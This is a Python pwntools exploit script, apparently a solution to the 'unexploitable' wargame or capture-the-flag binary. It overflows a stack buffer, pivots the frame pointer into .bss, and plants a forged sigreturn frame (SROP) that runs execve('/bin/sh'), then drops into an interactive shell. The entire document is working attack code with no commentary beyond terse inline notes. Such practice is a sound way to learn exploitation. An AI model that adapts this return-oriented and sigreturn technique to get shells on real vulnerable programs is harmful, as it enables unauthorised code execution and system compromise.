#!/usr/bin/env python # coding=utf8 from pwn import p64, process, ELF from time import sleep EXECUTABLE = '/home/unexploitable/unexploitable' elf = ELF(EXECUTABLE) junk = 0xdeadbeef syscall_addr = 0x400560 # 0f 0a(syscall) pop_junk_rbx_rbp_r12_r13_r14_r15_ret = 0x4005e6 mov_call = 0x4005d0 pop_rbp_ret = 0x400512 read_ret = 0x40055b bss_addr = elf.bss() rbp_base = bss_addr + 0x10 sh_str_addr = rbp_base + 0x20 + 8 + 0x100 # signal frame sig_frame = p64(syscall_addr) + p64(0) # rt_sigreturn, junk sig_frame += p64(0) * 12 # junks sig_frame += p64(sh_str_addr) + p64(0) # rdi, rsi sig_frame += p64(0) * 2 # junks sig_frame += p64(0) + p64(0x3b) # rdx, rax sig_frame += p64(0) * 2 # junks sig_frame += p64(syscall_addr) + p64(0) # rip, junk sig_frame += p64(0x33) + p64(0) # cs, junk sig_frame += p64(0) * 6 # junks sig_frame += '/bin/sh\x00' # point rbp to .bss and read again payload1 = 'A' * 0x10 payload1 += p64(rbp_base) payload1 += p64(read_ret) # prepare signal frame payload2 = 'A' * 0x10 payload2 += p64(rbp_base+0x20) + p64(read_ret) payload2 += p64(junk) * 2 payload2 += p64(junk) + sig_frame # set rax to 0xf using return value of read() payload3 = 'B' * 0xf p = process(EXECUTABLE) sleep(3) p.send(payload1) sleep(0.1) p.send(payload2) sleep(0.1) p.send(payload3) p.interactive()